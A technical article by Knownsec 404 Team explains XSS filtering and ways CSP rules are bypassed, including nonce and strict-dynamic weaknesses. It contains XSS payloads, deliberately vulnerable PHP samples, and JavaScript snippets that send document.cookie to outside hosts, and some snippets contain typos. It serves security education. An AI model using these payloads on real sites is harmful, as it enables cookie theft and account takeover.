Author: LoRexxar'@Knowsec 404 Team
Chinese version: https://paper.seebug.org/423/

0x01 The beginning of front-end defense

The reason for a basic XSS vulnerability page is that the user data is not effectively filtered from input to output, as shown in the sample code below.

<?php
$a = $_GET['a'];
echo $a;

For such an unfiltered pages, we can construct an XSS vulnerability exploit in a variety of ways.

a=<script>alert(1)</script>
a=<img/src=1/onerror=alert(1)>
a=<svg/onload=alert(1)>

For such vulnerability points, we usually use the htmlspecialchars function to filter the input, which can deal with 5 symbols.

& (AND) => &amp;
" (双引号) => &quot; (当ENT_NOQUOTES没有设置的时候) 
' (单引号) => &#039; (当ENT_QUOTES设置) 
< (小于号) => &lt; 
> (大于号) => &gt; 

In a general, such filtering may be sufficient for the above pages, but actually there will be more occasions than you expect.

<a href="{输入点}">

<div style="{输入点}">

<img src="{输入点}">

<img src={输入点}>(没有引号)

<script>{输入点}</script>

For such case, the above filtering does not make any sense, especially when the input point is in a script tag.

Generally speaking, to be able to deal with such XSS points, more filtering methods will be used.

Firstly, we may need to filter so many symbols as follows:

% * + , – / ; < = > ^ | `

However, excessive filtering of symbols seriously affects the user's normal input, which is why this kind of filtering is rarely used.

Most people will choose to combine htmlspecialchars function with blacklist.

on\w+=
script
svg
iframe
link
…

It seems no problem if this filtering method is good enough, but recalling many XSS vulnerabilities, it’s found out that most of them are created from where the filter function ignores.

So, is there a lower-level defense that can defend against vulnerabilities from the browser level?

In such case, CSP is created.

0x02 CSP(Content Security Policy)

Content Security Policy (CSP), an additional Security layer, helps detect and mitigate certain types of attacks, including cross-site scripting (XSS) and data injection attacks.

The characteristic of CSP is that it defenses at the browser level, the same level as the same-origin policy. Unless there is a vulnerability in the browser itself, it is impossible to bypass the mechanism.

CSP only allows the parsing of approved JS blocks, JS files, CSS, etc., and only allows requests to be made to the specified domain.

A simple CSP rule might be as follows:

header("Content-Security-Policy: default-src 'self'; script-src 'self' https://lorexxar.cn;");

There are many types of instructions, each of which is in charge of part of the request in the browser.

Each instruction has a different configuration.

To put it simply, there are corresponding loading strategies for different sources and different ways of loading resources.

We can say that if there is a strict enough CSP rules, then XSS or CSRF can be prevented from its source, but is it the real case?

0x03 CSP Bypass

CSP can be so strict that it conflicts with many websites themselves. In order to be compatible with various situations, CSP has many loose modes to adapt to.

While facilitating developers, many security issues arise.

There are two kinds of defenses against front-end attacks in CSP:

  1. Limit the execution of JS.
  2. Limit requests of untrusted domains.

The following “Bypass” methods are also related to these two points.

1

header("Content-Security-Policy: default-src 'self '; script-src * ");

It is such a brilliant CSP that it can load JS of any domains.

<script src="http://lorexxar.cn/evil.js"></script>

If CSP is invalid, you can use any attack method.

2

header("Content-Security-Policy: default-src 'self'; script-src 'self' ");

The most common CSP rules only allows to load JS of the current domain. If we upload an image with JS content, it will be in the current domain of the website.

alert(1);//

Load the image directly.

<script src='upload/test.js'></script>

3

header(" Content-Security-Policy: default-src 'self '; script-src http://127.0.0.1/static/ ");

When you find it unsecure to set self, you may choose to limit the trusted domain of the static file to the directory. But if there is a controllable redirect file in the trusted domain, the CSP's directory restrictions can be bypassed.

Suppose there is a 302 file in the static directory.

Static/302.php

<?php Header("location: ".$_GET['url'])?>

Upload a test.jpg like before, then jump to the upload directory to load JS, and you can execute successfully.

<script src="static/302.php?url=upload/test.jpg">

4

header("Content-Security-Policy: default-src 'self'; script-src 'self' ");

Apart from preventing parsing of untrusted JS, another function of CSP is to block requests to untrusted domains.

Under the above CSP rules, if we try to load the image from the external domain, it will be blocked.

<img src="http://lorexxar.cn/1.jpg">  ->  阻止

In the evolution of CSP, there will inevitably be some omissions.

<link rel="prefetch" href="http://lorexxar.cn"> (H5预加载)(only chrome)
<link rel="dns-prefetch" href="http://lorexxar.cn"> (DNS预加载)

In CSP 1.0, the restrictions on link are not complete. Support of different browsers for CSP is incomplete, including Chrome and Firefox. Each browser maintains a CSP rule that includes CSP 1.0, partial CSP 2.0, and a small percentage of CSP 3.0.

5

No matter how strict the CSP is, you never know what kind of code will be written.

The following is a sample code from Google team’s report on CSP last year.

// <input id="cmd" value="alert,safe string">

var array = document.getElementById('cmd').value.split(',');
window[array[0]].apply(this, array.slice(1));

By chance, you write a JS that executes an input string.

In fact, many modern frameworks have code that parses strings from a given tag as JS to execute.

“Angular Js” even has “ng-csp” tag to be fully compatible with CSP, and can be executed smoothly in the presence of CSP.

In this case, CSP is meaningless.

6

header("Content-Security-Policy: default-src 'self'; script-src 'self' ");

Maybe there is no such problem in your site and you may use JSONP to get data across domains, but JSONP itself is the nemesis of CSP and it deals with cross-domain problems, so it must be in the trusted domain.

<script
src="/path/jsonp?callback=alert(document.domain)//">
</script>

/* API response */
alert(document.domain);//{"var": "data", ...});

So you can construct arbitrary JS, even if you limit callback and get the data of \w+ only, some JS can still be executed, and combine with some special attack methods and situations, there is still a hazard.

The only way is to set the return type as JSON format.

7

header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' ");

This is the most common CSP rule compared to the previous CSP rules.

Unsafe-inline is a strategy for handling inline scripts. When the script-src in CSP allows inline scripts, the scripts added directly in the page can be executed.

<script>
js code; //在unsafe-inline时可以执行
</script>

Since we can execute arbitrary JS code, the remaining question is how to bypass the restrictions on trusted domains.

var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//ssssss.com/?" + document.cookie);
document.head.appendChild(n0t);

This method can only be used in Chrome, but it works surprisingly well.

2 JMP

In the mechanism of browsers, jump is cross-domain behavior.

<script>location.href=http://lorexxar.cn?a+document.cookie</script>

<script>windows.open(http://lorexxar.cn?a=+document.cooke)</script>

<meta http-equiv="refresh" content="5;http://lorexxar.cn?c=[cookie]">

Through cross-domain requests, we can send all kinds of information we want.

3 Cross-domain request

In browsers, there are many cross-domain requests, the typical of which is “href”. And submitting form is also a cross-domain request.

var a=document.createElement("a");
a.href='http://xss.com/?cookie='+escape(document.cookie);
a.click();

0x04 The dilemma and upgrade of CSP

After CSP was officially proposed as a means of mitigating XSS attacks, various problems continually broke out within a few years.

In December 2016, the Google team released a research article-- CSP is Dead, Long live CSP.

Using their powerful search engine library, the Google team analyzed CSP deployment patterns for more than 160 million hosts. The results are as follows:

The load script is most commonly whitelisted with 15 domains, 14 of which are unsecure, so 75.81% of the policies allow the attacker to bypass the CSP because of the script whitelist. In summary, we found that 94.68% of the policies that attempted to limit script execution were invalid, and 99.34% of CSP policies developed by hosts with CSP did not help to defense XSS.

In the paper, the Google team officially proposed two types of CSP that were previously proposed.

1. nonce script CSP

header("Content-Security-Policy: default-src 'self'; script-src 'nonce-{random-str}' ");

Generate the nonce string dynamically, and only script blocks containing nonce fields and strings of equal value can be executed.

<script nonce="{random-str}">alert(1)</script>

This string can be implemented on the backend and regenerated every time the request is made, so that you can ignore which domain is trusted, as long as the arbitrary resources loaded are trusted.

<?php

Header("Content-Security-Policy: script-src 'nonce-".$random." '"");
?>
<script nonce="<?php echo $random?>">

2. strict-dynamic

header("Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic' ");

strict-dynamic means that the JS code generated by trusted JS is trusted.

This CSP rule is mainly used to adapt to a variety of modern front-end frameworks, through which it is possible to substantially avoid loose CSP rules.

The Google team hopes to address various CSP issues arising from the development of the frontend by means of these two methods, but it's far from a one-shot deal.

1. nonce script CSP Bypass

In December 2016, after the Google team proposed the nonce script CSP, Sebastian Lekies put forward fatal flaw at Christmas.

Nonce CSP cannot defense against pure static DOM XSS at all.

The advent of the Web 2.0 era has made the frontground and background interact more and more. In order to cope with this, modern browsers have a caching mechanism, but when there is no modification in the page or don’t need to request the background, the browser will read the content of the page from the cache.

location.hash is a typical example.

If there is XSS in the JS as a result of performing “location.hash”, then such an attack request will not go through the background, so the random value behind the nonce will not be refreshed.

I have come up with CTF questions about this CSP Bypass method.

Apart from the common “location.hash”, a new attack method is proposed--read page content through the CSS selector.

*[attribute^="a"]{background:url("record?match=a")} 
*[attribute^="b"]{background:url("record?match=b")} 
*[attribute^="c"]{background:url("record?match=c")} [...] 

When matching the corresponding attribute, the page will send the corresponding request. The page only changes CSS, and it is pure static XSS, so CSP is invalid.

2. strict-dynamic Bypass

On Blackhat in July 2017, the Google team put forward a new attack method--Script Gadgets.

header("Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic' ");

"Strict-dynamic" is proposed to adapt to modern frameworks, while it is just the characteristic of modern frameworks.

Script Gadgets are similar to short tags and can be seen everywhere in modern JS frameworks.

For example:
Knockout.js

<div data-bind="value: 'foo'"></div>

Eval("foo")

<div data-bind="value: alert(1)"></dib>

bypass

Script Gadgets itself is dynamically-generated JS, so it is almost a destructive “Bypass” to the new CSP.

0x05 Conclusion

Combining blacklist with CSP is still the most reliable defense, but there is no end to defense.

0x06 Reference

About Knownsec & 404 Team

Beijing Knownsec Information Technology Co., Ltd. was established by a group of high-profile international security experts. It has over a hundred frontier security talents nationwide as the core security research team to provide long-term internationally advanced network security solutions for the government and enterprises.

Knownsec's specialties include network attack and defense integrated technologies and product R&D under new situations. It provides visualization solutions that meet the world-class security technology standards and enhances the security monitoring, alarm and defense abilities of customer networks with its industry-leading capabilities in cloud computing and big data processing. The company's technical strength is strongly recognized by the State Ministry of Public Security, the Central Government Procurement Center, the Ministry of Industry and Information Technology (MIIT), China National Vulnerability Database of Information Security (CNNVD), the Central Bank, the Hong Kong Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.

404 Team, the core security team of Knownsec, is dedicated to the research of security vulnerability and offensive and defensive technology in the fields of Web, IoT, industrial control, blockchain, etc. 404 team has submitted vulnerability research to many well-known vendors such as Microsoft, Apple, Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the industry.

The most well-known sharing of Knownsec 404 Team includes: KCon Hacking Conference, Seebug Vulnerability Database and ZoomEye Cyberspace Search Engine.


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/939/